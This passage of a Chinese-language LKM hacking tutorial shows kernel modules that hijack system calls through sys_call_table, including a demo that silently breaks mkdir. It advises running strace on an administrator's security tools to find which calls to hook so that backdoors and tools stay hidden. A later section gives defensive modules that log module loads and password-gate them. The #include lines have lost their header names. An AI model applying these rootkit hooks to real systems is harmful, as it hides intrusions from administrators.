第二部分 漸入佳境
2.1 如何截獲系統調用
現在我們開始入侵LKM,在正常情況下LKMs是用來擴展內核的(特別是那些硬件驅動)。然而我們的‘Hacks’做一些不一樣的事情。他們會截獲系統調用並且更改他們,為了改變系統某些命令的響應方式。
下面的這個模塊可以使得任何用戶都不能創建目錄。這只不過是我們隨後方法的一個小小演示。
#define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; /*sys_call_talbe 被引入,所以我們可以存取他*/ int (*orig_mkdir)(const char *path); /*原始系統調用*/ int hacked_mkdir(const char *path) { return 0; /*其他一切正常,除了新建操作,該操作什麼也不做*/ } int init_module(void) /*初始化模塊*/ { orig_mkdir=sys_call_table[SYS_mkdir]; sys_call_table[SYS_mkdir]=hacked_mkdir; return 0; } void cleanup_module(void) /*卸載模塊*/ { sys_call_table[SYS_mkdir]=orig_mkdir; /*恢復mkdir系統調用到原來的哪個*/ }
編譯並啟動這個模塊(見1.1)。然後嘗試新建一個目錄,你會發現不能成功。由於返回值是0(代表一切正常)我們得不到任何出錯信息。在移區模塊之後,我們又可以新建目錄了。正如你所看到的,我們只需要改變sys_call_table(見1.2)中相對應的入口就可以截獲到系統調用了。
截獲系統調用的通常步驟如下:
找到你需要的系統調用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)
保存sys_call_table[x]的舊入口指針。(在這裡x代表你所想要截獲的系統調用的索引)
將你自己定義的新的函數指針存入sys_call_table[x]
你會意識到保存舊的系統調用指針是十分有用的,因為在你的新調用中你會需要他來模擬原始調用。當你在寫一個'Hack-LKM'時你所面對的第一個問題是:
我到底該截獲哪個系統調用?
2.2一些有趣的系統調用
你並不是一個管理內核的上帝,因此你不知道每一個用戶的應用程序或者命令到底使用了那些系統調用。因此我會給你一些提示來幫助你找到獲得控制的系統調用。
讀源代碼。在一個象linux這樣的系統中,你可以找到任何一個用戶(或者管理員)所用的程序的源代碼。一旦你發現了某個基本的函數,像dup,open,write.....轉向b
下面看看include/sys/syscall.h(見1.2)。試著去直接找相對應的系統調用(查找dup->你就會發現SYS_dup,查找write,你就會發現SYS_write;....)。如果沒有找到轉向c
一些象socket,send,receive,....這樣的調用並不是通過一個系統調用實現的--正如我以前說過的那樣。這時就要看一看包含相關系統調用的頭文件。
要記住並不是每一個c庫裡面的函數都是系統調用。絕大多數這樣的函數和系統調用毫無關系。一個稍微有一點經驗的hacker會看看1.2裡面的列表,那已經提供了足夠的信息。例如你要知道用戶id管理是通過uid的系統調用實現的等等。如果你真的想確定你可以看看庫函數/內核的源代碼。
最困難的問題是一個系統管理員寫了自己的應用程序來檢查系統的完整性或者安全性。關於這些程序的問題在於缺乏源代碼。我們不能確定這個程序到底是如何工作的以及我們應該截獲那些系統調用來隱藏我們的禮物/工具。甚至有可能他引入了一個截獲hacker們經常使用的系統調用的LKM來隱藏他自己,並檢查系統的安全性(系統管理員們經常使用一些黑客技術來保護他們的系統)。
那我們應該如何繼續呢?
2.2.1 發現有趣的系統調用(strace方法)
假定你已經知道了某個系統管理員用來檢查系統的程序(這個可以通過某些其他的方法得到,象TTY hijacking(見2.9/appendix
a),現在唯一的問題是你需要讓你的禮物躲過系統管理員的程序直到.....)。
好,現在用strace來運行這個程序(也許你需要root權限來執行他)
# strace super_admin_proggy
這會給你一個十分棒的關於這個程序的每個系統調用的輸出。這些系統調用有可能都要加入到你的hacking LKM當中去。我並沒有一個這樣的管理程序作為例子給你看。但是我們可以看看’strace whoami‘的輸出:
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000 mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000 close(3) = 0 stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or directory) open("/lib/libc.so.5", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096 mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000 mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000 mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000 mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000 close(3) = 0 mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 munmap(0x40008000, 13363) = 0 mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0 mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0 mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0 personality(PER_LINUX) = 0 geteuid() = 500 getuid() = 500 getgid() = 100 getegid() = 100 brk(0x804aa48) = 0x804aa48 brk(0x804b000) = 0x804b000 open("/usr/share/locale/locale.alias", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000 read(3, "# Locale name alias data base\n#"..., 4096) = 2005 brk(0x804c000) = 0x804c000 read(3, "", 4096) = 0 close(3) = 0 munmap(0x40008000, 4096) = 0 open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0 mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000 close(3) = 0 geteuid() = 500 open("/etc/passwd", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000 read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074 close(3) = 0 munmap(0x4000b000, 4096) = 0 fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000 write(1, "r00t\n", 5r00t ) = 5 _exit(0) = ?
這確實是一個非常美妙的關於命令’whoami‘的系統調用列表,不是麼?在這裡為了控制’whoami‘的輸出需要攔截4個系統調用
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
可以看看2.6的哪個程序的實現。這種分析程序的方法對於顯示其他基本工具的信息也是十分重要的。
我希望現在你能夠找到那些能夠幫助你隱藏你自己的,或者做系統後門,或者任何你想做的事情的系統調用.
第三部分 解決方案(給系統管理員)
3.1 LKM檢測的理論和想法
我想現在該到幫助我們的系統管理員來保護他們的系統的時候了。在解釋一些理論以前,為了使你的系統變的安全,請記住如下的基本原則:
絕對不要安裝你沒有源代碼的LKMs。(當然,這對於普通的可執行文件也適用)
如果你有了源代碼,要仔細檢查他們(如果你能夠的話)。還記得tcpd木馬問題嗎?大的軟件包很復雜,因此很難看懂。但是如果你需要一個安全的系統,你必須分析源代碼。
甚至你已經遵守了這些原則,你的系統還是有可能被別人闖入並放置LKM(比如說溢出等等)。
因此,可以考慮用一個LKM記錄每一個模塊的加載,並且拒絕任何一個不是從指定安全安全目錄的模塊的加載企圖。(為了防止簡單的溢出。不存在完美的方法...)。記錄功能可以通過攔截create_module(...)來很輕易的實現。用同樣的方法你也可以檢查模塊加載的目錄.
當然拒絕任何的模塊的加載也是有可能的。但是這是一個很壞的方法。因為你確實需要他們。因此我們可以考慮改變模塊的加載方式,比如說要一個密碼。密碼可以在你控制的create-module(...)裡面檢查。如果密碼正確,模塊就會被加載,否則,模塊被丟棄。
要注意的是你必須掩藏你的模塊並使他不可以被卸栽。因此,讓我們來看看一些記錄LKM和密碼保護的實現的原型。(通過保護的create_module(...)系統調用)。
3.1.1 一個使用的檢測器的原形
對於這個簡單的例子,沒有什麼可以說的。只不過是攔截了sys_create_module(...)並且記錄下了加載的模塊的名字。
#define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_create_module)(char*, unsigned long); int hacked_create_module(char *name, unsigned long size) { char *kernel_name; char hide[]="ourtool"; int ret; kernel_name = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_name, name, 255); /*這裡我們向syslog記錄,但是你可以記錄到任何你想要的地方*/ printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name); ret=orig_create_module(name, size); return ret; } int init_module(void) /*初始化模塊*/ { orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; return 0; } void cleanup_module(void) /*卸載模塊*/ { sys_call_table[SYS_create_module]=orig_create_module; }
這就是所有你需要的。當然,你必須加一些代碼來隱藏這個模塊,這個應該沒有問題。在使得這個模塊不可以被卸載以後,一個hacker只可以改變記錄文件了。但是你也可以把你的記錄文件存到一個不可被接觸的文件中去(看2.1來獲得相關的技巧).當然,你也可以攔截sys_init_module(...)來顯示每一個模塊。這不過是一個品位問題。
3.1.2 一個密碼保護的create_module(...)的例子
這一節我們會討論如何給一個模塊的加載加入密碼校驗。我們需要兩件事情來完成這項任務:
一個檢查模塊加載的方法(容易)
一個校驗的方法(相當的難)
第一點是十分容易實現的。只需要攔截sys_create_module(...),然後檢查一些變量,內核就會知道這次加載是否合法了。但是如何進行校驗呢?我必須承認我沒有花多少時間在這個問題上。因此這個方案並不是太好。但是這是一篇LKM的文章,因此,使用你的頭腦去想一些更好的辦法。我的方法是,攔截stat(...)系統調用。當你敲任何命令時,系統需要搜索他,stat就會被調用.
因此,在敲命令的同時敲一個密碼,LKM會在攔截下的stat系統調用中檢查他.[我知道這很不安全;甚至一個Linux
starter都可以擊敗這種機制.但是(再一次的)這並不是這裡的重點....].看看我的實現(我從plaguez的一個類似的LKM中直接搶過來了很多現存的代碼....)
#define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; /*如果lock_mod=1 就是允許加載一個模塊*/ int lock_mod=0; int __NR_myexecve; /*攔截create_module(...)和stat(...)系統調用*/ int (*orig_create_module)(char*, unsigned long); int (*orig_stat) (const char *, struct old_stat*); char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int hacked_stat(const char *filename, struct old_stat *buf) { char *name; int ret; char *password = "password"; /*yeah,一個很好的密碼*/ name = (char *) kmalloc(255, GFP_KERNEL); (void) strncpy_fromfs(name, filename, 255); /*有密碼麼?*/ if (strstr(name, password)!=NULL) { /*一次僅允許加載一個模塊*/ lock_mod=1; kfree(name); return 0; } else { kfree(name); ret = orig_stat(filename, buf); } return ret; } int hacked_create_module(char *name, unsigned long size) { char *kernel_name; char hide[]="ourtool"; int ret; if (lock_mod==1) { lock_mod=0; ret=orig_create_module(name, size); return ret; } else { printk("<1>MOD-POL : Permission denied !\n"); return 0; } return ret; } int init_module(void) /*初始化模塊*/ { __NR_myexecve = 200; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve]; orig_stat=sys_call_table[SYS_prev_stat]; sys_call_table[SYS_prev_stat]=hacked_stat; orig_create_module=sys_call_table[SYS_create_module]; sys_call_table[SYS_create_module]=hacked_create_module; printk("<1>MOD-POL LOADED...\n"); return 0; } void cleanup_module(void) /*卸載模塊*/ { sys_call_table[SYS_prev_stat]=orig_stat; sys_call_table[SYS_create_module]=orig_create_module; }